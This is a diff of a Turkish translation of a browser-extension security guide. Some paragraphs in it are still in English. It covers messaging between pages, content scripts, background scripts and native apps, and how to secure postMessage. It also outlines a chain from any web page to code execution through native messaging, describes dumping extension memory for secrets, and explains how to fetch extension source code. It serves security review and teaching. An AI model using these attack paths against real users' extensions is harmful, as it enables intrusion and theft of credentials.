## İletişim özeti
|
## Communication summary
|
||||||
|
|
||||||
### Uzantı <--> Web Uygulaması
|
### Extension <--> WebApp
|
||||||
|
|
||||||
İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının ayrıca **bir Post Message göndererek web uygulaması ile iletişim kurabileceğini** (ve bu nedenle web'in bunu beklemesi gerektiğini) veya sadece web'in yeni bir script yüklemesini sağlayabileceğini unutmayın.
|
Content script ile web sayfası arasında iletişim kurmak için genellikle post messages kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna çağrılar ve content script'te **`window.addEventListener`** gibi listener'lar bulursunuz. Ancak dikkat edin, extension aynı zamanda web uygulamasıyla **Post Message göndererek iletişim kurabilir** (dolayısıyla web bunun gelmesini beklemelidir) veya sadece web'in yeni bir script yüklemesini sağlayabilir.
|
||||||
|
|
||||||
### Uzantının içinde
|
### Inside the extension
|
||||||
|
|
||||||
Genellikle **`chrome.runtime.sendMessage`** fonksiyonu uzantı içinde bir mesaj göndermek için kullanılır (genellikle `background` scripti tarafından işlenir) ve bunu almak ve işlemek için bir dinleyici tanımlanır, bu da **`chrome.runtime.onMessage.addListener`** çağrısını içerir.
|
Genellikle extension içinde mesaj göndermek için **`chrome.runtime.sendMessage`** fonksiyonu kullanılır (genellikle `background` script tarafından işlenir) ve bu mesajı almak ve işlemek için **`chrome.runtime.onMessage.addListener`** çağrılarak bir listener tanımlanır.
|
||||||
|
|
||||||
Ayrıca, tekil mesajlar göndermek yerine sürekli bir bağlantı kurmak için **`chrome.runtime.connect()`** kullanmak da mümkündür, bu, aşağıdaki örnekte olduğu gibi **mesajlar** **göndermek** ve **almak** için kullanılabilir:
|
Tek tek mesaj göndermek yerine kalıcı bir bağlantı için **`chrome.runtime.connect()`** kullanmak da mümkündür; bunu aşağıdaki örnekte olduğu gibi **mesaj göndermek** ve **almak** için kullanabilirsiniz:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><code>chrome.runtime.connect()</code> örneği</summary>
|
<summary><code>chrome.runtime.connect()</code> örnek</summary>
|
||||||
```javascript
|
```javascript
|
||||||
var port = chrome.runtime.connect()
|
var port = chrome.runtime.connect()
|
||||||
|
|
||||||
@ -389,19 +391,19 @@ console.log("Content script received message from background script:", msg)
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Belirli bir sekmede bulunan bir içerik betiğine arka plan betiğinden mesaj göndermek de mümkündür. Bunun için **`chrome.tabs.sendMessage`** çağrısı yaparak **mesajı göndereceğiniz sekmenin ID'sini** belirtmeniz gerekecektir.
|
Ayrıca, bir arka plan betiğinden belirli bir sekmede bulunan bir içerik betiğine **`chrome.tabs.sendMessage`** çağırarak mesaj göndermek de mümkündür; burada mesaja göndereceğiniz **sekmenin ID'sini** belirtmeniz gerekir.
|
||||||
|
|
||||||
### İzin verilen `externally_connectable`'dan uzantıya
|
### İzin verilen `externally_connectable`'den eklentiye
|
||||||
|
|
||||||
`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** aşağıdaki gibi istek gönderebilir:
|
**`externally_connectable` yapılandırmasında izin verilen Web uygulamaları ve harici tarayıcı eklentileri** istekleri şu şekilde gönderebilirler :
|
||||||
```javascript
|
```javascript
|
||||||
chrome.runtime.sendMessage(extensionId, ...
|
chrome.runtime.sendMessage(extensionId, ...
|
||||||
```
|
```
|
||||||
Gerekli yerlerde **uzantı kimliğinden** bahsedilmesi gerekmektedir.
|
Gerekli olduğunda **extension ID**'den bahsedilecektir.
|
||||||
|
|
||||||
### Yerel Mesajlaşma
|
### Native Messaging
|
||||||
|
|
||||||
Arka plan betikleri, sistem içindeki ikili dosyalarla iletişim kurabilir; bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** maruz kalabilir. [Bununla ilgili daha fazla bilgi](#native-messaging).
|
Background scripts, sistem içindeki binaries ile iletişim kurabilir; bu iletişim doğru şekilde güvenli hale getirilmezse **kritik güvenlik açıklarına (ör. RCEs) yatkın** olabilir. [More on this later](#native-messaging).
|
||||||
```javascript
|
```javascript
|
||||||
chrome.runtime.sendNativeMessage(
|
chrome.runtime.sendNativeMessage(
|
||||||
"com.my_company.my_application",
|
"com.my_company.my_application",
|
||||||
@ -411,11 +413,11 @@ console.log("Received " + response)
|
|||||||
}
|
}
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
## Web **↔︎** İçerik Scripti İletişimi
|
## Web **↔︎** Content Script İletişimi
|
||||||
|
|
||||||
**İçerik scriptlerinin** çalıştığı ortamlar ve ana sayfaların bulunduğu yerler birbirinden **ayrıdır**, bu da **izolasyon** sağlar. Bu izolasyona rağmen, her ikisi de sayfanın **Belge Nesne Modeli (DOM)** ile etkileşimde bulunma yeteneğine sahiptir, bu da paylaşılan bir kaynaktır. Ana sayfanın **içerik scripti** ile veya içerik scripti aracılığıyla uzantı ile dolaylı olarak iletişim kurabilmesi için, her iki tarafın da erişebildiği **DOM**'u iletişim kanalı olarak kullanması gerekmektedir.
|
The environments where **content scripts** operate and where the host pages exist are **separated** from one another, ensuring **isolation**. Despite this isolation, both have the ability to interact with the page's **Document Object Model (DOM)**, a shared resource. For the host page to engage in communication with the **content script**, or indirectly with the extension through the content script, it is required to utilize the **DOM** that is accessible by both parties as the communication channel.
|
||||||
|
|
||||||
### Post Mesajları
|
### Post Messages
|
||||||
```javascript:content-script.js
|
```javascript:content-script.js
|
||||||
// This is like "chrome.runtime.sendMessage" but to maintain the connection
|
// This is like "chrome.runtime.sendMessage" but to maintain the connection
|
||||||
var port = chrome.runtime.connect()
|
var port = chrome.runtime.connect()
|
||||||
@ -450,15 +452,16 @@ window.postMessage(
|
|||||||
false
|
false
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
Güvenli bir Post Message iletişimi, alınan mesajın doğruluğunu kontrol etmelidir, bu şu şekilde yapılabilir:
|
Güvenli bir Post Message iletişimi, alınan mesajın doğruluğunu kontrol etmelidir; bu şu kontroller yapılarak yapılabilir:
|
||||||
|
|
||||||
- **`event.isTrusted`**: Bu, yalnızca olayın bir kullanıcı eylemi tarafından tetiklendiği durumlarda Doğru'dur.
|
- **`event.isTrusted`**: Bu yalnızca event bir kullanıcı eylemi tarafından tetiklendiğinde True olur
|
||||||
- İçerik betiği, yalnızca kullanıcı bir eylem gerçekleştirdiğinde bir mesaj bekleyebilir.
|
- Content script yalnızca kullanıcı bir eylem gerçekleştirdiğinde mesaj bekliyor olabilir
|
||||||
- **origin domain**: yalnızca izin verilen alanlar listesi ile bir mesaj bekleyebilir.
|
- **origin domain**: yalnızca allowlist'teki domainlerden mesaj bekliyor olabilir.
|
||||||
- Bir regex kullanılıyorsa, çok dikkatli olun.
|
- Bir **regex** kullanılıyorsa çok dikkatli olun
|
||||||
- **Source**: `received_message.source !== window`, mesajın **Content Script'in dinlediği aynı pencereden** gelip gelmediğini kontrol etmek için kullanılabilir.
|
- **Source**: `received_message.source !== window` ifadesi, mesajın Content Script'in dinlediği aynı pencereden **gelip gelmediğini** kontrol etmek için kullanılabilir.
|
||||||
|
|
||||||
|
Önceki kontroller yapılsa bile zayıf olabilir, bu yüzden aşağıdaki sayfada **potansiyel Post Message bypass'larını** kontrol edin:
|
||||||
|
|
||||||
Önceki kontroller, yapılsa bile, savunmasız olabilir, bu nedenle aşağıdaki sayfada **potansiyel Post Message bypass'larını** kontrol edin:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../postmessage-vulnerabilities/
|
../postmessage-vulnerabilities/
|
||||||
@ -466,7 +469,8 @@ Güvenli bir Post Message iletişimi, alınan mesajın doğruluğunu kontrol etm
|
|||||||
|
|
||||||
### Iframe
|
### Iframe
|
||||||
|
|
||||||
İletişim için başka bir olası yol **Iframe URL'leri** aracılığıyla olabilir, bir örneği burada bulabilirsiniz:
|
Başka bir iletişim yolu **Iframe URLs** aracılığıyla olabilir; bir örneğini şu yerde bulabilirsiniz:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-xss-example.md
|
browext-xss-example.md
|
||||||
@ -474,21 +478,22 @@ browext-xss-example.md
|
|||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
Bu "tam olarak" bir iletişim yolu değildir, ancak **web ve içerik betiği web DOM'una erişim sağlayacaktır**. Yani, eğer **içerik betiği** buradan bazı bilgileri okuyorsa, **web DOM'una güveniyorsa**, web bu veriyi **değiştirebilir** (çünkü web'e güvenilmemelidir veya web XSS'ye karşı savunmasızdır) ve **Content Script'i tehlikeye atabilir**.
|
Bu tam olarak bir iletişim yolu olmasa da, **web ve content script web DOM'a erişime sahip olacak**. Yani, eğer **content script** buradan bazı bilgileri okuyor ve **web DOM'a güveniyorsa**, web bu veriyi **değiştirebilir** (çünkü web'e güvenilmemeli veya web XSS'e karşı savunmasız olabilir) ve **Content Script'i ele geçirebilir**.
|
||||||
|
|
||||||
|
Bir browser extension'ı ele geçirmek için **DOM tabanlı XSS** örneğini şurada da bulabilirsiniz:
|
||||||
|
|
||||||
Ayrıca, bir **DOM tabanlı XSS ile bir tarayıcı uzantısını tehlikeye atma** örneğini burada bulabilirsiniz:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-xss-example.md
|
browext-xss-example.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## İçerik Betiği **↔︎** Arka Plan Betiği İletişimi
|
## Content Script **↔︎** Background Script Communication
|
||||||
|
|
||||||
Bir İçerik Betiği, [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **veya** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) fonksiyonlarını kullanarak **bir kerelik JSON-serializable** bir mesaj gönderebilir.
|
A Content Script, bir **one-time JSON-serializable** mesaj göndermek için [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **veya** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) fonksiyonlarını kullanabilir.
|
||||||
|
|
||||||
**Yanıtı** işlemek için, döndürülen **Promise**'i kullanın. Ancak, geriye dönük uyumluluk için, son argüman olarak hala bir **callback** geçebilirsiniz.
|
Yanıtı işlemek için dönen **Promise**'i kullanın. Ancak, geriye dönük uyumluluk için yine de son argüman olarak bir **callback** geçebilirsiniz.
|
||||||
|
|
||||||
Bir **içerik betiğinden** bir istek göndermek şöyle görünür:
|
Bir **content script**'ten istek göndermek şöyle görünür:
|
||||||
```javascript
|
```javascript
|
||||||
;(async () => {
|
;(async () => {
|
||||||
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||||
@ -496,7 +501,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
|||||||
console.log(response)
|
console.log(response)
|
||||||
})()
|
})()
|
||||||
```
|
```
|
||||||
**uzantı**'dan bir istek gönderme (genellikle bir **arka plan betiği**). Seçilen sekmedeki içerik betiğine mesaj göndermenin bir örneği:
|
İsteği **extension** üzerinden (genellikle bir **background script**) göndermek. Seçilmiş sekmedeki content script'e mesaj gönderme örneği:
|
||||||
```javascript
|
```javascript
|
||||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||||
;(async () => {
|
;(async () => {
|
||||||
@ -509,7 +514,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
|
|||||||
console.log(response)
|
console.log(response)
|
||||||
})()
|
})()
|
||||||
```
|
```
|
||||||
**Alıcı tarafında**, mesajı işlemek için bir [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **olay dinleyicisi** kurmanız gerekir. Bu, bir içerik betiği veya uzantı sayfasından aynı görünür.
|
Alıcı tarafta, mesajı işlemek için [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** kurmanız gerekir. Bu, content script veya extension page'den aynı görünür.
|
||||||
```javascript
|
```javascript
|
||||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||||
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
||||||
@ -521,15 +526,23 @@ sender.tab
|
|||||||
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
Öne çıkan örnekte, **`sendResponse()`** senkron bir şekilde yürütüldü. `sendResponse()`'nin asenkron yürütülmesi için `onMessage` olay işleyicisini değiştirmek, `return true;` eklemeyi gerektirir.
|
In the example highlighted, **`sendResponse()`** was executed in a synchronous fashion. To modify the `onMessage` event handler for asynchronous execution of `sendResponse()`, it's imperative to incorporate `return true;`.
|
||||||
|
|
||||||
Önemli bir husus, birden fazla sayfanın `onMessage` olaylarını alacak şekilde ayarlandığı senaryolarda, **belirli bir olay için `sendResponse()`'yi yürüten ilk sayfa** yanıtı etkili bir şekilde iletebilecek tek sayfa olacaktır. Aynı olaya yönelik sonraki yanıtlar dikkate alınmayacaktır.
|
Vurgulanan örnekte, **`sendResponse()`** eşzamanlı olarak çalıştırıldı. `onMessage` event handler'ını `sendResponse()`'ın eşzamansız çalışması için değiştirmek istiyorsanız `return true;` eklemeniz zorunludur.
|
||||||
|
|
||||||
Yeni uzantılar oluştururken, geri çağırmalar yerine vaatlere yönelmek tercih edilmelidir. Geri çağırmaların kullanımıyla ilgili olarak, `sendResponse()` fonksiyonu yalnızca senkron bağlamda doğrudan yürütüldüğünde veya olay işleyicisi asenkron bir işlemi `true` döndürerek belirttiğinde geçerli kabul edilir. Hiçbir işleyici `true` döndürmezse veya `sendResponse()` fonksiyonu bellekten kaldırılırsa (çöp toplayıcı tarafından), `sendMessage()` fonksiyonu ile ilişkili geri çağırma varsayılan olarak tetiklenecektir.
|
An important consideration is that in scenarios where multiple pages are set to receive `onMessage` events, **the first page to execute `sendResponse()`** for a specific event will be the only one able to deliver the response effectively. Any subsequent responses to the same event will not be taken into account.
|
||||||
|
|
||||||
|
Önemli bir nokta: Birden fazla sayfanın `onMessage` eventi alacak şekilde ayarlandığı durumlarda, belirli bir event için **`sendResponse()`'ı çalıştıran ilk sayfa** yanıtı iletebilen tek sayfa olacaktır. Aynı event için sonraki yanıtlar dikkate alınmayacaktır.
|
||||||
|
|
||||||
|
When crafting new extensions, the preference should be towards promises as opposed to callbacks. Concerning the use of callbacks, the `sendResponse()` function is considered valid only if it's executed directly within the synchronous context, or if the event handler indicates an asynchronous operation by returning `true`. Should none of the handlers return `true` or if the `sendResponse()` function is removed from memory (garbage-collected), the callback associated with the `sendMessage()` function will be triggered by default.
|
||||||
|
|
||||||
|
Yeni uzantılar (extensions) oluştururken, callback'ler yerine promises tercih edilmelidir. Callback kullanımı açısından, `sendResponse()` fonksiyonu yalnızca eşzamanlı bağlam içinde doğrudan çalıştırıldığında veya event handler'ı `true` döndürerek eşzamansız bir işlem olduğunu belirttiğinde geçerlidir. Hiçbir handler `true` döndürmezse veya `sendResponse()` bellekten kaldırılırsa (garbage-collected), `sendMessage()` ile ilişkilendirilmiş callback varsayılan olarak tetiklenecektir.
|
||||||
|
|
||||||
## Native Messaging
|
## Native Messaging
|
||||||
|
|
||||||
Tarayıcı uzantıları, **sistemdeki ikili dosyalarla stdin üzerinden iletişim kurmaya** da olanak tanır. Uygulama, bunu belirten bir json yüklemelidir:
|
Browser extensions also allow to communicate with **binaries in the system via stdin**. The application must install a json indicating so in a json like:
|
||||||
|
|
||||||
|
Tarayıcı uzantıları ayrıca **binaries in the system via stdin** ile iletişim kurmaya olanak verir. Uygulama, bunu belirten bir json dosyasını şu şekilde yüklemelidir:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "com.my_company.my_application",
|
"name": "com.my_company.my_application",
|
||||||
@ -539,14 +552,14 @@ Tarayıcı uzantıları, **sistemdeki ikili dosyalarla stdin üzerinden iletişi
|
|||||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
`name` parametresi, tarayıcı uzantısının arka plan betiklerinden uygulama ile iletişim kurmak için [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) veya [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) metoduna geçirilen dizedir. `path`, ikili dosyanın yoludur, geçerli olan tek `type` stdio'dur (stdin ve stdout kullanın) ve `allowed_origins`, buna erişebilecek uzantıları belirtir (wildcard olamaz).
|
Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard).
|
||||||
|
|
||||||
Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yolları arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bakın).
|
Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Tarayıcı uzantısının bu iletişimi kullanabilmesi için `nativeMessaing` izninin de tanımlanması gerekir.
|
> Tarayıcı uzantısının bu iletişimi kullanabilmesi için ayrıca `nativeMessaing` iznini bildirmesi gerekir.
|
||||||
|
|
||||||
İşte bir arka plan betiği kodunun, bir yerel uygulamaya mesaj göndermesi şöyle görünür:
|
Aşağıda bir arka plan script'inin native uygulamaya mesaj gönderirken nasıl göründüğüne örnek verilmiştir:
|
||||||
```javascript
|
```javascript
|
||||||
chrome.runtime.sendNativeMessage(
|
chrome.runtime.sendNativeMessage(
|
||||||
"com.my_company.my_application",
|
"com.my_company.my_application",
|
||||||
@ -556,144 +569,152 @@ console.log("Received " + response)
|
|||||||
}
|
}
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
In [**bu blog yazısında**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), yerel mesajları kötüye kullanan bir zayıf desen önerilmektedir:
|
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), native messages'ı istismar eden zafiyetli bir desen önerilmektedir:
|
||||||
|
|
||||||
1. Tarayıcı uzantısı içerik betiği için bir joker karakter deseni vardır.
|
1. Browser extension'in content script için bir wildcard deseni vardır.
|
||||||
2. İçerik betiği `sendMessage` kullanarak arka plan betiğine `postMessage` mesajları gönderir.
|
2. Content script, `sendMessage` kullanarak `postMessage` mesajlarını background script'e iletir.
|
||||||
3. Arka plan betiği mesajı `sendNativeMessage` kullanarak yerel uygulamaya iletir.
|
3. Background script, `sendNativeMessage` kullanarak mesajı native application'a iletir.
|
||||||
4. Yerel uygulama mesajı tehlikeli bir şekilde işler, bu da kod yürütmeye yol açar.
|
4. Native application mesajı tehlikeli şekilde işler; bu da kod yürütülmesine yol açabilir.
|
||||||
|
|
||||||
Ve bunun içinde **herhangi bir sayfadan RCE'ye geçiş yapma örneği bir tarayıcı uzantısını kötüye kullanarak açıklanmaktadır**.
|
Ve içinde herhangi bir sayfadan RCE'ye, bir browser extension'ı istismar ederek nasıl ulaşılacağına dair bir örnek açıklanmaktadır.
|
||||||
|
|
||||||
## Bellek/Kod/Panodaki Hassas Bilgiler
|
## Bellek/Kod/Panodaki Hassas Bilgiler
|
||||||
|
|
||||||
Eğer bir Tarayıcı Uzantısı **hassas bilgileri belleğinde saklıyorsa**, bu **dökülebilir** (özellikle Windows makinelerinde) ve bu bilgiler için **arama yapılabilir**.
|
Eğer bir Browser Extension hassas bilgileri belleğinde saklıyorsa, bu bilgiler (özellikle Windows makinelerde) bellek dökümü alınarak elde edilebilir ve aranabilir.
|
||||||
|
|
||||||
Bu nedenle, Tarayıcı Uzantısının belleği **güvenli olarak kabul edilmemelidir** ve **kimlik bilgileri veya mnemonik ifadeler gibi hassas bilgiler** **saklanmamalıdır**.
|
Bu nedenle, Browser Extension'in belleği güvenli kabul edilmemeli ve kimlik bilgileri veya mnemonic ifadeler gibi hassas bilgiler saklanmamalıdır.
|
||||||
|
|
||||||
Elbette, **hassas bilgileri kodun içine koymayın**, çünkü bu **kamusal** olacaktır.
|
Elbette, kod içinde hassas bilgi bulundurmayın; çünkü kod herkese açık olacaktır.
|
||||||
|
|
||||||
Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snapshot`** ve hassas bilgileri bulmak için **`CTRL+F`** ile anlık görüntü içinde arama yapın.
|
Tarayıcıdan bellek dökümü almak için işlem belleğinin dökümünü alabilir veya browser extension ayarlarına gidip **`Inspect pop-up`**'a tıklayabilirsiniz -> **`Memory`** bölümünde -> **`Take a snaphost`** ve **`CTRL+F`** ile snapshot içinde hassas bilgileri arayabilirsiniz.
|
||||||
|
|
||||||
Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece hassas bilgilerin **panoya kopyalanmasına izin verilmemelidir** (veya en azından birkaç saniye içinde panodan kaldırılmalıdır) çünkü bu durumda panoyu izleyen işlemler bunları alabilecektir.
|
Ayrıca mnemonic anahtarlar veya parolalar gibi yüksek düzeyde hassas bilgiler panoya kopyalanmasına izin verilmemeli (veya en azından birkaç saniye sonra panodan silinmelidir), çünkü panoyu izleyen süreçler bunları ele geçirebilir.
|
||||||
|
|
||||||
## Tarayıcıda Bir Uzantı Yükleme
|
## Tarayıcıda Extension Yükleme
|
||||||
|
|
||||||
1. **Tarayıcı Uzantısını İndirin** ve açın
|
1. Browser Extension'i indirin ve zip'ten çıkarın
|
||||||
2. **`chrome://extensions/`** adresine gidin ve `Geliştirici Modu`nu **etkinleştirin**
|
2. **`chrome://extensions/`** adresine gidin ve `Developer Mode`'u etkinleştirin
|
||||||
3. **`Yüklenmemiş`** butonuna tıklayın
|
3. **`Load unpacked`** butonuna tıklayın
|
||||||
|
|
||||||
**Firefox'ta** **`about:debugging#/runtime/this-firefox`** adresine gidin ve **`Geçici Eklenti Yükle`** butonuna tıklayın.
|
Firefox'ta **`about:debugging#/runtime/this-firefox`** adresine gidin ve **`Load Temporary Add-on`** butonuna tıklayın.
|
||||||
|
|
||||||
## Mağazadan kaynak kodunu alma
|
## Getting the source code from the store
|
||||||
|
|
||||||
Bir Chrome uzantısının kaynak kodu çeşitli yöntemlerle elde edilebilir. Aşağıda her seçenek için ayrıntılı açıklamalar ve talimatlar bulunmaktadır.
|
Bir Chrome extension'un kaynak kodu çeşitli yollarla elde edilebilir. Aşağıda her seçenek için ayrıntılı açıklamalar ve talimatlar bulunmaktadır.
|
||||||
|
|
||||||
### Komut Satırı ile ZIP Olarak Uzantıyı İndirme
|
### Komut Satırı ile Extension'u ZIP olarak İndirme
|
||||||
|
|
||||||
Bir Chrome uzantısının kaynak kodu, komut satırı kullanılarak ZIP dosyası olarak indirilebilir. Bu, belirli bir URL'den ZIP dosyasını almak için `curl` kullanmayı ve ardından ZIP dosyasının içeriğini bir dizine çıkarmayı içerir. İşte adımlar:
|
Bir Chrome extension'un kaynak kodu komut satırı kullanılarak ZIP dosyası olarak indirilebilir. Bu işlem, belirli bir URL'den ZIP dosyasını almak için `curl` kullanmayı ve ardından ZIP içeriğini bir dizine çıkarmayı içerir. İşte adımlar:
|
||||||
|
|
||||||
1. `"extension_id"` kısmını uzantının gerçek ID'si ile değiştirin.
|
1. `"extension_id"`'yi extension'un gerçek ID'si ile değiştirin.
|
||||||
2. Aşağıdaki komutları çalıştırın:
|
2. Aşağıdaki komutları çalıştırın:
|
||||||
```bash
|
```bash
|
||||||
extension_id=your_extension_id # Replace with the actual extension ID
|
extension_id=your_extension_id # Replace with the actual extension ID
|
||||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||||
```
|
```
|
||||||
### CRX Viewer web sitesini kullanın
|
### Use the CRX Viewer website
|
||||||
|
|
||||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||||
|
|
||||||
### CRX Viewer uzantısını kullanın
|
### Use the CRX Viewer extension
|
||||||
|
|
||||||
Başka bir pratik yöntem, açık kaynaklı bir proje olan Chrome Extension Source Viewer'ı kullanmaktır. [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) üzerinden yüklenebilir. Görüntüleyicinin kaynak kodu [GitHub deposunda](https://github.com/Rob--W/crxviewer) mevcuttur.
|
Başka bir kullanışlı yöntem, açık kaynaklı bir proje olan Chrome Extension Source Viewer'ı kullanmaktır. Bu uzantıyı Chrome Web Store'dan yükleyebilirsiniz. Viewer'ın kaynak kodu GitHub repository'sinde mevcuttur: https://github.com/Rob--W/crxviewer
|
||||||
|
|
||||||
### Yerel olarak yüklenmiş uzantının kaynağını görüntüleyin
|
### View source of locally installed extension
|
||||||
|
|
||||||
Yerel olarak yüklenmiş Chrome uzantıları da incelenebilir. İşte nasıl:
|
Yerel olarak yüklü Chrome uzantıları da incelenebilir. Yapılışı:
|
||||||
|
|
||||||
1. `chrome://version/` adresine giderek Chrome yerel profil dizininizi erişin ve "Profil Yolu" alanını bulun.
|
1. Chrome yerel profil dizinine gitmek için `chrome://version/` adresini açın ve "Profile Path" alanını bulun.
|
||||||
2. Profil dizinindeki `Extensions/` alt klasörüne gidin.
|
2. Profil dizini içindeki `Extensions/` alt klasörüne gidin.
|
||||||
3. Bu klasör, genellikle okunabilir formatta kaynak kodlarıyla birlikte tüm yüklenmiş uzantıları içerir.
|
3. Bu klasör tüm yüklü uzantıları içerir; kaynak kodları genellikle okunabilir bir biçimdedir.
|
||||||
|
|
||||||
Uzantıları tanımlamak için, kimliklerini isimlere eşleyebilirsiniz:
|
Uzantıları tanımlamak için ID'leri isimlerle eşleyebilirsiniz:
|
||||||
|
|
||||||
- Her uzantının kimliklerini görmek için `about:extensions` sayfasında Geliştirici Modu'nu etkinleştirin.
|
- `about:extensions` sayfasında Developer Mode'u etkinleştirerek her uzantının ID'sini görebilirsiniz.
|
||||||
- Her uzantının klasöründe, `manifest.json` dosyası okunabilir bir `name` alanı içerir, bu da uzantıyı tanımlamanıza yardımcı olur.
|
- Her uzantı klasörü içinde `manifest.json` dosyasında okunabilir bir `name` alanı bulunur; bu alan uzantıyı tanımlamanıza yardımcı olur.
|
||||||
|
|
||||||
### Bir Dosya Arşivleyici veya Açıcı Kullanın
|
### Use a File Archiver or Unpacker
|
||||||
|
|
||||||
Chrome Web Store'a gidin ve uzantıyı indirin. Dosya `.crx` uzantısına sahip olacaktır. Dosya uzantısını `.crx`'den `.zip`'e değiştirin. ZIP dosyasının içeriğini çıkarmak için herhangi bir dosya arşivleyici (WinRAR, 7-Zip vb.) kullanın.
|
Chrome Web Store'a gidip uzantıyı indirin. Dosya `.crx` uzantısına sahip olacaktır. Dosya uzantısını `.crx`'den `.zip`'e değiştirin. ZIP dosyasının içeriğini çıkarmak için herhangi bir dosya arşivleyici (WinRAR, 7-Zip, vb.) kullanın.
|
||||||
|
|
||||||
### Chrome'da Geliştirici Modunu Kullanın
|
### Use Developer Mode in Chrome
|
||||||
|
|
||||||
Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modunu" etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır.
|
Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Developer mode"u etkinleştirin. "Load unpacked extension..." öğesine tıklayın. Uzantınızın bulunduğu dizine gidin. Bu işlem kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için kullanışlıdır.
|
||||||
|
|
||||||
## Chrome uzantı manifest veri seti
|
## Chrome extension manifest dataset
|
||||||
|
|
||||||
